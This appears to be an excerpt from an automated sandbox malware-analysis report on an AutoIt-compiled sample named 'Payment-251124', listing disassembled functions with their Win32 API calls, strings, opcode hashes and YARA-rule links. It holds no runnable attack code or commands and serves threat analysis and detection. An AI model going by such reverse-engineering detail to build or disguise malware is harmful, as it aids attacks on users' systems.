                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                        • String ID: ($0$tooltips_class32
                                                        • API String ID: 698492251-4156429822
                                                        • Opcode ID: afd48d6fa053192bd0ed13559da4b41e38341d91ca9da52132ce396444aa0c54
                                                        • Instruction ID: 6cb310631a803d5073860474538ad0ad498f6b5f363c98008e91daff3d08fdeb
                                                        • Opcode Fuzzy Hash: afd48d6fa053192bd0ed13559da4b41e38341d91ca9da52132ce396444aa0c54
                                                        • Instruction Fuzzy Hash: A5B1B071608310AFDB04EF64D948B6ABBE4FF89310F00891DF9999B291D771EC45DB92
                                                        Function 00EDA856 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00EDA939
                                                        • GetSystemMetrics.USER32(00000007), ref: 00EDA941
                                                        • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00EDA96C
                                                        • GetSystemMetrics.USER32(00000008), ref: 00EDA974
                                                        • GetSystemMetrics.USER32(00000004), ref: 00EDA999
                                                        • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00EDA9B6
                                                        • AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 00EDA9C6
                                                        • CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00EDA9F9
                                                        • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00EDAA0D
                                                        • GetClientRect.USER32(00000000,000000FF), ref: 00EDAA2B
                                                        • GetStockObject.GDI32(00000011), ref: 00EDAA47
                                                        • SendMessageW.USER32(00000000,00000030,00000000), ref: 00EDAA52
                                                          • Part of subcall function 00EDB63C: GetCursorPos.USER32(000000FF), ref: 00EDB64F
                                                          • Part of subcall function 00EDB63C: ScreenToClient.USER32(00000000,000000FF), ref: 00EDB66C
                                                          • Part of subcall function 00EDB63C: GetAsyncKeyState.USER32(00000001), ref: 00EDB691
                                                          • Part of subcall function 00EDB63C: GetAsyncKeyState.USER32(00000002), ref: 00EDB69F
                                                        • SetTimer.USER32(00000000,00000000,00000028,00EDAB87), ref: 00EDAA79
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                        • String ID: AutoIt v3 GUI
                                                        • API String ID: 1458621304-248962490
                                                        • Opcode ID: aa13c527f1cf56ede78604e7f221ead4e1b8e3925584ea35677f1dfad1207200
                                                        • Instruction ID: f02ee663eab16a23229a13529c28967390e437ec6a2109a510bbd3e6053662f6
                                                        • Opcode Fuzzy Hash: aa13c527f1cf56ede78604e7f221ead4e1b8e3925584ea35677f1dfad1207200
                                                        • Instruction Fuzzy Hash: 94B1AE75A0020A9FDB14DFA8DC45BED7BB8FB08324F15422AFA15A7390DB34D942EB51
                                                        Function 00EC2EC0 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 346COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$Foreground
                                                        • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                        • API String ID: 62970417-1919597938
                                                        • Opcode ID: 3e6545daa344bf38822931604c3cc0a78d82fcf0517fb6a2e90bcb6d836fda73
                                                        • Instruction ID: e853fe96cd1092943595151c86fc77aba29bc6aedef6eb9367017c60cb4ccb27
                                                        • Opcode Fuzzy Hash: 3e6545daa344bf38822931604c3cc0a78d82fcf0517fb6a2e90bcb6d836fda73
                                                        • Instruction Fuzzy Hash: 79D1F630508246DBCB44EF20C981A9AFBF0FF54364F10591DF45A672A2DB31E99BEB91
                                                        Function 00F23639 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F23735
                                                        • RegCreateKeyExW.ADVAPI32(?,?,00000000,00F5DC00,00000000,?,00000000,?,?), ref: 00F237A3
                                                        • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00F237EB
                                                        • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00F23874
                                                        • RegCloseKey.ADVAPI32(?), ref: 00F23B94
                                                        • RegCloseKey.ADVAPI32(00000000), ref: 00F23BA1
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Close$ConnectCreateRegistryValue
                                                        • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                        • API String ID: 536824911-966354055
                                                        • Opcode ID: 5e08d53c1b19f559d1a2954d5f7ee2f6c0a77c2357016e3b9c7abb03f94a73a6
                                                        • Instruction ID: 607aeaf4ccb352e3810636bd8363d87619575415fc568c42fadc66ae9b04d0ee
                                                        • Opcode Fuzzy Hash: 5e08d53c1b19f559d1a2954d5f7ee2f6c0a77c2357016e3b9c7abb03f94a73a6
                                                        • Instruction Fuzzy Hash: 060267756046119FCB14EF28D945E2EB7E5FF88720F04845DF98AAB2A2CB35ED01DB81
                                                        Function 00F26BC9 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 281windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CharUpperBuffW.USER32(?,?), ref: 00F26C56
                                                        • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00F26D16
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: BuffCharMessageSendUpper
                                                        • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                                        • API String ID: 3974292440-719923060
                                                        • Opcode ID: 2113a895e0f0f0657174a4b1041c26d9a06f5a216bbd3b984ff26c25853839b8
                                                        • Instruction ID: be855753bc245763160791e27a44e541504c772eef9a2b8b00dddeb5daca2723
                                                        • Opcode Fuzzy Hash: 2113a895e0f0f0657174a4b1041c26d9a06f5a216bbd3b984ff26c25853839b8
                                                        • Instruction Fuzzy Hash: E1A18C312143559BCB14EF20DA51B6AB3E1FF84314F10996DB956AB3D2EB31EC06DB82
                                                        Function 00EFCF50 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetClassNameW.USER32(?,?,00000100), ref: 00EFCF91
                                                        • __swprintf.LIBCMT ref: 00EFD032
                                                        • _wcscmp.LIBCMT ref: 00EFD045
                                                        • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00EFD09A
                                                        • _wcscmp.LIBCMT ref: 00EFD0D6
                                                        • GetClassNameW.USER32(?,?,00000400), ref: 00EFD10D
                                                        • GetDlgCtrlID.USER32(?), ref: 00EFD15F
                                                        • GetWindowRect.USER32(?,?), ref: 00EFD195
                                                        • GetParent.USER32(?), ref: 00EFD1B3
                                                        • ScreenToClient.USER32(00000000), ref: 00EFD1BA
                                                        • GetClassNameW.USER32(?,?,00000100), ref: 00EFD234
                                                        • _wcscmp.LIBCMT ref: 00EFD248
                                                        • GetWindowTextW.USER32(?,?,00000400), ref: 00EFD26E
                                                        • _wcscmp.LIBCMT ref: 00EFD282
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf
                                                        • String ID: %s%u
                                                        • API String ID: 3119225716-679674701
                                                        • Opcode ID: 5da81cdb428c25b45f6b360c7560cceb4ccb52105087e1ed826689e485885add
                                                        • Instruction ID: 5ab653e59da67230050cbb6ef48e550658e63d82fe488aa238b99a55e24bc941
                                                        • Opcode Fuzzy Hash: 5da81cdb428c25b45f6b360c7560cceb4ccb52105087e1ed826689e485885add
                                                        • Instruction Fuzzy Hash: C0A1B07120820AABD715DF64CC84FBABBE9FF44318F105619FA99A2190DB30EA45CBD1
                                                        Function 00EFD8A7 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetClassNameW.USER32(00000008,?,00000400), ref: 00EFD8EB
                                                        • _wcscmp.LIBCMT ref: 00EFD8FC
                                                        • GetWindowTextW.USER32(00000001,?,00000400), ref: 00EFD924
                                                        • CharUpperBuffW.USER32(?,00000000), ref: 00EFD941
                                                        • _wcscmp.LIBCMT ref: 00EFD95F
                                                        • _wcsstr.LIBCMT ref: 00EFD970
                                                        • GetClassNameW.USER32(00000018,?,00000400), ref: 00EFD9A8
                                                        • _wcscmp.LIBCMT ref: 00EFD9B8
                                                        • GetWindowTextW.USER32(00000002,?,00000400), ref: 00EFD9DF
                                                        • GetClassNameW.USER32(00000018,?,00000400), ref: 00EFDA28
                                                        • _wcscmp.LIBCMT ref: 00EFDA38
                                                        • GetClassNameW.USER32(00000010,?,00000400), ref: 00EFDA60
                                                        • GetWindowRect.USER32(00000004,?), ref: 00EFDAC9
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                                        • String ID: @$ThumbnailClass
                                                        • API String ID: 1788623398-1539354611
                                                        • Opcode ID: 94d956519c822eb921c2f245dd06996f8a3ab85423bd301cea71b32f2e45adf9
                                                        • Instruction ID: 6cfb22023ebbd005a73ed2db5666489519be1a8e0ea2d7cb216116db8cdf2b9e
                                                        • Opcode Fuzzy Hash: 94d956519c822eb921c2f245dd06996f8a3ab85423bd301cea71b32f2e45adf9
                                                        • Instruction Fuzzy Hash: 1B81A23100C2499BDB05DF50CC85F7A7BD9EF85318F049469EE89AA095DB70D945CBA1
                                                        Function 00EFD6F4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __wcsnicmp
                                                        • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                        • API String ID: 1038674560-1810252412
                                                        • Opcode ID: 7df771368b9ff8d763263cb15c89a3090765837e0b42732e78ea621da84d256c
                                                        • Instruction ID: 79fa2661a34936cbbac2c75e09466e9b690b01b16d4d70e438c109386483b581
                                                        • Opcode Fuzzy Hash: 7df771368b9ff8d763263cb15c89a3090765837e0b42732e78ea621da84d256c
                                                        • Instruction Fuzzy Hash: 3531BC32A4824CAADB19FA50CE43FEE77F59F20354F30202AF545710D1EB62AE45D613
                                                        Function 00EFEA9D Relevance: 25.7, APIs: 17, Instructions: 168windowtimeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadIconW.USER32(00000063), ref: 00EFEAB0
                                                        • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00EFEAC2
                                                        • SetWindowTextW.USER32(?,?), ref: 00EFEAD9
                                                        • GetDlgItem.USER32(?,000003EA), ref: 00EFEAEE
                                                        • SetWindowTextW.USER32(00000000,?), ref: 00EFEAF4
                                                        • GetDlgItem.USER32(?,000003E9), ref: 00EFEB04
                                                        • SetWindowTextW.USER32(00000000,?), ref: 00EFEB0A
                                                        • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00EFEB2B
                                                        • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00EFEB45
                                                        • GetWindowRect.USER32(?,?), ref: 00EFEB4E
                                                        • SetWindowTextW.USER32(?,?), ref: 00EFEBB9
                                                        • GetDesktopWindow.USER32 ref: 00EFEBBF
                                                        • GetWindowRect.USER32(00000000), ref: 00EFEBC6
                                                        • MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00EFEC12
                                                        • GetClientRect.USER32(?,?), ref: 00EFEC1F
                                                        • PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00EFEC44
                                                        • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00EFEC6F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                        • String ID:
                                                        • API String ID: 3869813825-0
                                                        • Opcode ID: 8c5a5f7f44d09713d7805ae88a2663b825625fb00e4615626b7e4d0672055ebd
                                                        • Instruction ID: 7016353a45580d69b9d14d48125a2eb4a5cd5f51103a626f88c5b585f6f00d9e
                                                        • Opcode Fuzzy Hash: 8c5a5f7f44d09713d7805ae88a2663b825625fb00e4615626b7e4d0672055ebd
                                                        • Instruction Fuzzy Hash: F7513A7590070DAFDB21DFA8CD89B6EBBF5FF04709F004928E686A26A0D774B945DB10
                                                        Function 00F179B0 Relevance: 25.6, APIs: 17, Instructions: 109COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadCursorW.USER32(00000000,00007F8A), ref: 00F179C6
                                                        • LoadCursorW.USER32(00000000,00007F00), ref: 00F179D1
                                                        • LoadCursorW.USER32(00000000,00007F03), ref: 00F179DC
                                                        • LoadCursorW.USER32(00000000,00007F8B), ref: 00F179E7
                                                        • LoadCursorW.USER32(00000000,00007F01), ref: 00F179F2
                                                        • LoadCursorW.USER32(00000000,00007F81), ref: 00F179FD
                                                        • LoadCursorW.USER32(00000000,00007F88), ref: 00F17A08
                                                        • LoadCursorW.USER32(00000000,00007F80), ref: 00F17A13
                                                        • LoadCursorW.USER32(00000000,00007F86), ref: 00F17A1E
                                                        • LoadCursorW.USER32(00000000,00007F83), ref: 00F17A29
                                                        • LoadCursorW.USER32(00000000,00007F85), ref: 00F17A34
                                                        • LoadCursorW.USER32(00000000,00007F82), ref: 00F17A3F
                                                        • LoadCursorW.USER32(00000000,00007F84), ref: 00F17A4A
                                                        • LoadCursorW.USER32(00000000,00007F04), ref: 00F17A55
                                                        • LoadCursorW.USER32(00000000,00007F02), ref: 00F17A60
                                                        • LoadCursorW.USER32(00000000,00007F89), ref: 00F17A6B
                                                        • GetCursorInfo.USER32(?), ref: 00F17A7B
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Cursor$Load$Info
                                                        • String ID:
                                                        • API String ID: 2577412497-0
                                                        • Opcode ID: b77bb5bc8eb8b0f92ea0bbaaf5e3b72652f8eb99c1a2262be71add1bdf33c7d9
                                                        • Instruction ID: 896b68d90e0731861d7a5b496f87ccb2702da0467931dd2c8d5cac7bde7fb4c4
                                                        • Opcode Fuzzy Hash: b77bb5bc8eb8b0f92ea0bbaaf5e3b72652f8eb99c1a2262be71add1bdf33c7d9
                                                        • Instruction Fuzzy Hash: 2C3103B1D4831A6ADB109FB68C8999FBFF8FF04750F50452AA50DE7280DA78A5418FA1
                                                        Function 00ECC833 Relevance: 25.0, APIs: 7, Strings: 7, Instructions: 479COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDE968: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00ECC8B7,?,00002000,?,?,00000000,?,00EC419E,?,?,?,00F5DC00), ref: 00EDE984
                                                          • Part of subcall function 00EC660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00EC53B1,?,?,00EC61FF,?,00000000,00000001,00000000), ref: 00EC662F
                                                        • __wsplitpath.LIBCMT ref: 00ECC93E
                                                          • Part of subcall function 00EE1DFC: __wsplitpath_helper.LIBCMT ref: 00EE1E3C
                                                        • _wcscpy.LIBCMT ref: 00ECC953
                                                        • _wcscat.LIBCMT ref: 00ECC968
                                                        • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 00ECC978
                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 00ECCABE
                                                          • Part of subcall function 00ECB337: _wcscpy.LIBCMT ref: 00ECB36F
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CurrentDirectory$_wcscpy$FullNamePath__wsplitpath__wsplitpath_helper_wcscat
                                                        • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                        • API String ID: 2258743419-1018226102
                                                        • Opcode ID: b58f849633c2263ac529e17fe28c15768ce5bb1039ea1a03aacfb2450aac1118
                                                        • Instruction ID: 15bb71eac7cbbfe08f751bfae09b0a3e8720d6673a9abfd82b7f6db06711a303
                                                        • Opcode Fuzzy Hash: b58f849633c2263ac529e17fe28c15768ce5bb1039ea1a03aacfb2450aac1118
                                                        • Instruction Fuzzy Hash: 6312A1715083419FC724EF24C991EAFB7E4AF88314F14591EF48AA32A1DB31DA4ADB53
                                                        Function 00F2CE58 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F2CEFB
                                                        • DestroyWindow.USER32(?,?), ref: 00F2CF73
                                                        • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00F2CFF4
                                                        • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00F2D016
                                                        • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00F2D025
                                                        • DestroyWindow.USER32(?), ref: 00F2D042
                                                        • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00EC0000,00000000), ref: 00F2D075
                                                        • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00F2D094
                                                        • GetDesktopWindow.USER32 ref: 00F2D0A9
                                                        • GetWindowRect.USER32(00000000), ref: 00F2D0B0
                                                        • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00F2D0C2
                                                        • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00F2D0DA
                                                          • Part of subcall function 00EDB526: GetWindowLongW.USER32(?,000000EB), ref: 00EDB537
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memset
                                                        • String ID: 0$tooltips_class32
                                                        • API String ID: 3877571568-3619404913
                                                        • Opcode ID: 7ba569479bc96920c15c964a77b138984ac05849dc02dca53a4feb73b094dd8f
                                                        • Instruction ID: 449db8f7ee84943f19f3f8063f20f73174091fb162967a2087e7a372b116b6ec
                                                        • Opcode Fuzzy Hash: 7ba569479bc96920c15c964a77b138984ac05849dc02dca53a4feb73b094dd8f
                                                        • Instruction Fuzzy Hash: D071CA74540309AFE724CF28DC84FAA3BE9FB89714F04461DF985972A1D734E842EB22
                                                        Function 00F2F351 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 178windowfileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDB34E: GetWindowLongW.USER32(?,000000EB), ref: 00EDB35F
                                                        • DragQueryPoint.SHELL32(?,?), ref: 00F2F37A
                                                          • Part of subcall function 00F2D7DE: ClientToScreen.USER32(?,?), ref: 00F2D807
                                                          • Part of subcall function 00F2D7DE: GetWindowRect.USER32(?,?), ref: 00F2D87D
                                                          • Part of subcall function 00F2D7DE: PtInRect.USER32(?,?,00F2ED5A), ref: 00F2D88D
                                                        • SendMessageW.USER32(?,000000B0,?,?), ref: 00F2F3E3
                                                        • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00F2F3EE
                                                        • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00F2F411
                                                        • _wcscat.LIBCMT ref: 00F2F441
                                                        • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00F2F458
                                                        • SendMessageW.USER32(?,000000B0,?,?), ref: 00F2F471
                                                        • SendMessageW.USER32(?,000000B1,?,?), ref: 00F2F488
                                                        • SendMessageW.USER32(?,000000B1,?,?), ref: 00F2F4AA
                                                        • DragFinish.SHELL32(?), ref: 00F2F4B1
                                                        • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00F2F59C
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
